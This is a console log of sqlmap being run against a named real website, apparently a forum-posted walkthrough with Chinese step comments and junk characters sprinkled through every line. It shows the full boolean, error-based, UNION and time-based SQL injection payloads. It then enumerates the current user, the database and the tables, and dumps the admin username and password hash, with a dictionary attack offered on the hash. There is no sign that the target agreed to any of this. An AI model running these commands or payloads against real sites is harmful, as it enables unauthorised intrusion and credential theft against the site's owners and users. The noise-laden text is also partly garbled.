D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
, l6 q, T6 a4 h ?! D( L2 [( n" C) G, `ms "Mysql" --current-user /* 注解:获取当前用户名称
" q" m. Q1 C6 V( b6 H" K l ~ sqlmap/0.9 - automatic SQL injection and database takeover tool
5 ~2 i+ @+ ^" P5 p# k, G* M http://sqlmap.sourceforge.net starting at: 16:53:54
6 P2 x( m% i- U$ A" d6 _[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as: C& g. J% k1 @1 w# I
session file, v/ I) w3 W! p6 Y* `$ {$ G1 n
[16:53:54] [INFO] resuming injection data from session file! p0 w5 d0 x! A
[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
7 ?, e2 b# g% N% s+ Z[16:53:54] [INFO] testing connection to the target url$ \, Y% U, ]( n9 T1 }# R$ p
sqlmap identified the following injection points with a total of 0 HTTP(s) reque1 ~/ i1 H2 k; m( Z$ Y
sts:
3 C& w- L6 z4 q6 ~( s0 f---/ e8 j& ~ `, R! k
Place: GET
; [3 T3 m6 v6 b) WParameter: id
1 Z' a V9 c! |6 _ Type: boolean-based blind# P: m4 T Y% y$ h
Title: AND boolean-based blind - WHERE or HAVING clause/ N6 J$ g& A( u/ H8 _" M" N
Payload: id=276 AND 799=799* b7 q) j- y& i9 Y
Type: error-based
# i( ]0 E, }* s6 D1 M y Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause5 _& Q+ F1 U" T' ^1 _
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
6 O% I, T9 c" n! Z: Q, C; j120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
- h9 ]8 B( k- @4 z- m),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)5 r2 p4 P& _9 U/ ]
Type: UNION query
) ~ o& u4 g2 ^ Title: MySQL UNION query (NULL) - 1 to 10 columns
% j, @0 Z; |( _3 x Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR; r( ]% C* N. Z4 i3 [9 q
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
# C2 ?. H8 M. i+ X! gCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
. D& K$ V& j4 R1 J Type: AND/OR time-based blind
4 }7 f/ v2 a( h0 P Title: MySQL > 5.0.11 AND time-based blind6 Q& M/ C+ P8 m C' N5 Y+ F
Payload: id=276 AND SLEEP(5)5 z: }* P0 d+ {8 ]8 Y# h4 P+ i
---7 _- j# R. h3 E4 ^. n Y
[16:53:55] [INFO] the back-end DBMS is MySQL
2 G# L4 E+ X+ b' wweb server operating system: Windows
# h. X& l+ B2 |7 _2 X0 |web application technology: Apache 2.2.11, PHP 5.3.0
6 M; m' X) B- |back-end DBMS: MySQL 5.0
# Q' E3 R* n9 U7 N6 I[16:53:55] [INFO] fetching current user1 d3 S- V1 @' S i; j+ Y
current user: 'root@localhost'
% l0 p" a w+ [2 t! b- r0 v4 @[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
6 C* G9 o9 d" h3 M) Ztput\www.wepost.com.hk' shutting down at: 16:53:580 ~* ~/ }. i6 r7 O) D0 ^, W
9 A# K; c, q& v
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
9 g8 Q) U$ ]4 L3 e: T/ D& rms "Mysql" --current-db /*当前数据库( M* v- [3 `, [7 ]" I
sqlmap/0.9 - automatic SQL injection and database takeover tool
( k# p* _' R% g9 P http://sqlmap.sourceforge.net starting at: 16:54:16' G! W$ f) [% y4 M. p+ Y" i, q
[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
; t5 g( E9 I% N! D. R& X8 m session file
2 Y, w& ]! l3 j6 |6 \[16:54:16] [INFO] resuming injection data from session file
! ?+ i9 x( p& N+ N[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
) K1 f( G6 N/ ^3 [. |/ G[16:54:16] [INFO] testing connection to the target url
6 m/ {* a8 T dsqlmap identified the following injection points with a total of 0 HTTP(s) reque
$ O& j; z& M; [1 Dsts:
. r: p5 B- j8 ?- V( F7 `: i& i---1 z' i0 l/ L5 L r
Place: GET
5 x; k* I( o0 _Parameter: id( o) l; ?5 Z/ D8 u: F; i) N+ B
Type: boolean-based blind
) b; d+ `8 e7 E* g8 U) \& I; N Title: AND boolean-based blind - WHERE or HAVING clause
5 [: X0 J) j( u- T Payload: id=276 AND 799=799* n7 F' R% c+ A4 C$ T3 \8 T; j3 x
Type: error-based
4 M+ ?% R& x$ k: H Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
! A9 o8 }) Z3 F$ S7 Y/ M Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
' z0 l" U& T* V$ s: \5 D120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
" b+ T- C6 D/ R( g1 e/ D),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a). v" T6 w/ T# \7 A. V, X# T
Type: UNION query
# @1 l" C8 q7 k9 U/ ` Title: MySQL UNION query (NULL) - 1 to 10 columns
' N2 U L/ T2 y; C0 m Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
5 J/ v# v$ O/ P- F; z( l(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
) }# ?) V6 S2 R( p8 A* ICHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
5 T3 D$ T& h7 t. S- A0 X' b Type: AND/OR time-based blind
% T# U; K' J6 R0 G, u" a9 ^) U" U Title: MySQL > 5.0.11 AND time-based blind
; X# J3 q& F0 y U! D Payload: id=276 AND SLEEP(5)% W9 J9 s; P, s& p, T" D9 [
---6 ?: `7 }0 N: s2 k' J
[16:54:17] [INFO] the back-end DBMS is MySQL
2 ~& E3 \9 {1 k e1 l! l8 Vweb server operating system: Windows
5 v7 q5 H0 s" B' F* Xweb application technology: Apache 2.2.11, PHP 5.3.0
! a8 x1 p$ b% {! \back-end DBMS: MySQL 5.0
$ Y E& _0 N5 S- ]3 g[16:54:17] [INFO] fetching current database `* t" n- g5 r( x3 W5 F3 I5 M6 e
current database: 'wepost'; K( |8 \! a4 y; N# U& W& _' ^6 q
[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou' P2 j1 b" |& {3 h) ]; v" z
tput\www.wepost.com.hk' shutting down at: 16:54:18& R% C* e' j" b# \; u
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db) ^, n- o5 ^) ^, `! i. b, E d6 q
ms "Mysql" --tables -D "wepost" /*获取当前数据库的表名8 \$ [! Q$ u9 r4 B0 W
sqlmap/0.9 - automatic SQL injection and database takeover tool
0 }+ G& v, ]6 N: F/ o: A8 Q. ^ http://sqlmap.sourceforge.net starting at: 16:55:25
" q9 S% |' M. @. e- g3 C* A[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as; S x7 l- I# K7 F* ?/ P* i; n
session file
0 q) Z% }: f7 ]4 V+ u3 J[16:55:25] [INFO] resuming injection data from session file
! d/ Y) K3 N! G, V8 s A+ I+ Q[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
/ F2 e3 Y8 Z& W W- |6 [( h[16:55:25] [INFO] testing connection to the target url5 Y( n" i K# Q6 E: a
sqlmap identified the following injection points with a total of 0 HTTP(s) reque* S/ w& x' N( d: U
sts:& n I% p+ ^2 `# [( Y" }3 l) ]
---
( R$ y5 E: C0 k4 }- |Place: GET
3 L! p$ V$ a+ w$ `4 R) \* zParameter: id
4 S S) p) N% u g5 [! D3 { Type: boolean-based blind, P* k. P+ V1 n
Title: AND boolean-based blind - WHERE or HAVING clause
) W* _, U {4 N1 _6 K" ]6 g2 ?7 w+ f Payload: id=276 AND 799=7991 g8 }% m s% R
Type: error-based, M" _* R! p0 V; x/ T
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause2 l) N1 K1 B, a1 R# w
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118," ^* q3 w% u% G: e* P' B
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58# K$ r6 A& y3 r5 V
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
. A4 {$ K4 m9 k0 a/ Q5 P3 b Type: UNION query
; h! J; b7 P+ h5 F) y& ~. k% B8 ` Title: MySQL UNION query (NULL) - 1 to 10 columns
! |- N2 R: _: f" V' d Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
1 L. i6 r" O+ _3 p6 O/ I(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),! y6 x! L2 ^/ M/ f6 E% _* {+ g
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#0 H$ |+ x5 p+ ]( j9 {/ Y9 `! K
Type: AND/OR time-based blind
- f% b( [* _. D+ |6 i4 r7 G Title: MySQL > 5.0.11 AND time-based blind1 w# K$ u5 p6 [" d3 \
Payload: id=276 AND SLEEP(5)
: h7 h! |+ G7 p' Y/ e" ~---
0 u0 J5 y( x( [! J! L2 [! a( q[16:55:26] [INFO] the back-end DBMS is MySQL4 R" |2 h- w2 Q* s
web server operating system: Windows
" X. T" C6 v: {* Yweb application technology: Apache 2.2.11, PHP 5.3.0
8 Q* `. r& {! e/ c3 _0 T1 o; d) sback-end DBMS: MySQL 5.0
+ x4 l! J8 `+ Z# C[16:55:26] [INFO] fetching tables for database 'wepost', t4 B2 m) X8 Y2 x, \* E
[16:55:27] [INFO] the SQL query used returns 6 entries4 f1 g* c/ n4 R0 k) U
Database: wepost
0 t$ w$ W; `8 _( }1 J8 U& F$ R2 ][6 tables]
1 k3 Z! C. a1 D5 P+-------------+2 d' n& L; ]' Z1 @. M
| admin |
+ Y* L/ s2 e* k, V. f| article |
8 ~- b5 i8 l# W, A7 _+ z| contributor |
) j! p, T* [% y) I4 A| idea |! w/ o: c1 Y V0 n8 q* M
| image |
0 B3 V! M$ k! Q$ Q/ x! p V| issue |
) U( z% ~6 H& X, w3 K; Z+-------------+
+ [2 F% A9 K5 O* R& o9 d. Q2 y[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou/ C! _- J+ _, |2 \4 H$ S/ {- ~
tput\www.wepost.com.hk' shutting down at: 16:55:33
6 m! x/ K# n/ K& L) ?* ?& w5 H' ]5 ?8 ]' @
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
- X$ m: z% \0 `! E9 U) E' cms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名
3 o7 U. Q5 b5 t9 d: k sqlmap/0.9 - automatic SQL injection and database takeover tool Y6 S; E, k0 s2 ^
http://sqlmap.sourceforge.net starting at: 16:56:06" |6 U& V3 x# _/ G* _- A$ p9 R
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
3 R j& l5 i) ^: q7 i6 t6 dsts:
$ `& f5 j5 A6 ?# O3 y1 p0 {---7 I) l" r2 N' A# Q, m
Place: GET( S1 s) b5 V" S( {/ V1 C4 N( ~
Parameter: id
# ?6 S0 u$ K9 K6 e7 w% | Type: boolean-based blind( F6 h, i( ]4 h
Title: AND boolean-based blind - WHERE or HAVING clause9 D2 `. t7 Y: R2 G: o3 W- @0 e
Payload: id=276 AND 799=799! c1 s, f8 j3 H5 |1 Z
Type: error-based$ V! [" m4 T9 \8 j
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
6 j. ], t: P/ ~ `" o6 H* @5 S Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,, N# S( A, e& _5 {
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,585 }2 b- \+ b0 I$ ?0 d; y8 C
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)8 W, q9 g% L7 S3 a( |' J
Type: UNION query
# `; H9 E2 s# i Z/ M Title: MySQL UNION query (NULL) - 1 to 10 columns. }- p* P) e- s! I( V
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR' G8 X+ @2 u: S9 x
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
3 B. L1 _. x: H2 q7 ACHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
! b0 @' R' Z" L% V7 ^; r2 M9 P7 F& g Type: AND/OR time-based blind. ?5 M; c" L! e2 a& ~
Title: MySQL > 5.0.11 AND time-based blind
% A! @5 H% s s+ E1 f Payload: id=276 AND SLEEP(5)5 [ A8 i, _& h2 F3 f( b" b
---
+ m$ p0 T1 p. R# U1 xweb server operating system: Windows
' R6 Z7 }8 O8 S9 h. X9 Y4 {web application technology: Apache 2.2.11, PHP 5.3.0
9 {: l2 {6 Y8 j' qback-end DBMS: MySQL 5.0
" e8 x/ c+ P4 j* M: }[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
- S' B6 Z& l% V' [2 Gssion': wepost, wepost
/ `( E K V' W X, i( V, c, iDatabase: wepost# _: B& f4 v$ F, `# _7 K4 E
Table: admin
+ V- `# G( H5 W4 J& k, D[4 columns]0 {8 K9 o- g3 i, y
+----------+-------------+
: |" |7 P! I: T/ P9 h) {| Column | Type |8 l) m+ K* S- ~2 @6 V7 q
+----------+-------------+ p7 h" ]4 T: I" b* s: H" m, g! T" _
| id | int(11) |3 z1 z- P [2 }& m- s
| password | varchar(32) |
$ w# Y2 @) k/ i, v$ b( k| type | varchar(10) |
! D+ W* v. Q5 m% l( u+ M: r& u| userid | varchar(20) |
0 Q" Q! z8 Z6 r1 u+----------+-------------+
4 i2 X2 w h* T0 w9 P shutting down at: 16:56:196 m' ?& N) Y, Z( o: x. ?; h2 A
* G, X6 N# Q& U6 L% wD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db1 g6 S' x# }6 i0 s; V7 G2 k
ms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容
0 ~: Q5 Q. b+ }) M" H- h sqlmap/0.9 - automatic SQL injection and database takeover tool
' d( {/ X" k$ S5 B$ k; g) |# E) r http://sqlmap.sourceforge.net starting at: 16:57:14
* R5 r9 n: i. Ysqlmap identified the following injection points with a total of 0 HTTP(s) reque
0 h, V8 O0 J c; _; msts:
6 v$ E; Q; a0 ~3 F---
! x+ W# V7 {5 P8 h1 kPlace: GET( M0 V n( A- |$ Y
Parameter: id
1 l' E; L5 Z3 \% F# |* M Type: boolean-based blind
, u# G3 _: i" p) x Title: AND boolean-based blind - WHERE or HAVING clause4 I+ v' r j( J; S3 @
Payload: id=276 AND 799=799
! R/ e: Y2 \- K1 _5 ^& U) E; r Type: error-based
, o+ P9 h4 g M' A! D( p1 h Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
" b) l6 E) a& z6 V Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,6 C- j9 F: O, {' q- z% ]8 d
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
5 R/ y* {+ P8 g% q),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a). \; R& `/ `. g+ }
Type: UNION query! s3 K8 G) D7 @9 j
Title: MySQL UNION query (NULL) - 1 to 10 columns' w# F7 i1 z) V( Z; D6 `. h: o
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR) [" b8 {( x; J, L/ L, y7 L
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),$ \& @' ?4 U, k U1 T) F
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
5 T" k* J( E' S+ x9 U5 ^6 |- W Type: AND/OR time-based blind
: j! r9 R- m* ^! n& Z Title: MySQL > 5.0.11 AND time-based blind0 S* z8 R8 |( ]5 a \. y
Payload: id=276 AND SLEEP(5)
; T8 h/ e" `8 T% o---
! C# H1 Y7 ~* iweb server operating system: Windows
, A* ~% t& p! p. F* t4 Bweb application technology: Apache 2.2.11, PHP 5.3.0
" G% g; p+ n8 @% Zback-end DBMS: MySQL 5.0
2 p! W; P9 L" f0 \recognized possible password hash values. do you want to use dictionary attack o8 S A7 @' T7 t3 H
n retrieved table items? [Y/n/q] y
V/ J1 _$ f1 {2 C7 @$ [what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
6 w4 R5 E( Y- }do you want to use common password suffixes? (slow!) [y/N] y
' L8 N/ E+ v3 M4 s& T( S' YDatabase: wepost
' u* {5 e( N, k' @% i) ZTable: admin: V" w. ~4 s2 ^& z% ^+ e
[1 entry]" ]- W1 D6 ?" [4 w3 ]
+----------------------------------+------------+
/ h, E8 g& t& s4 e# O| password | userid |' h( j( `7 N: H) ^' R1 @' T) r! ^
+----------------------------------+------------+
0 Q# b: Y" V/ F8 }/ R| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |$ t7 r% a& |% h& E y/ E" C
+----------------------------------+------------+7 W( F7 g9 D- r# g
shutting down at: 16:58:14
( M# p6 M9 g+ g' q
$ m4 s/ L f2 l' q: N7 aD:\Python27\sqlmap> |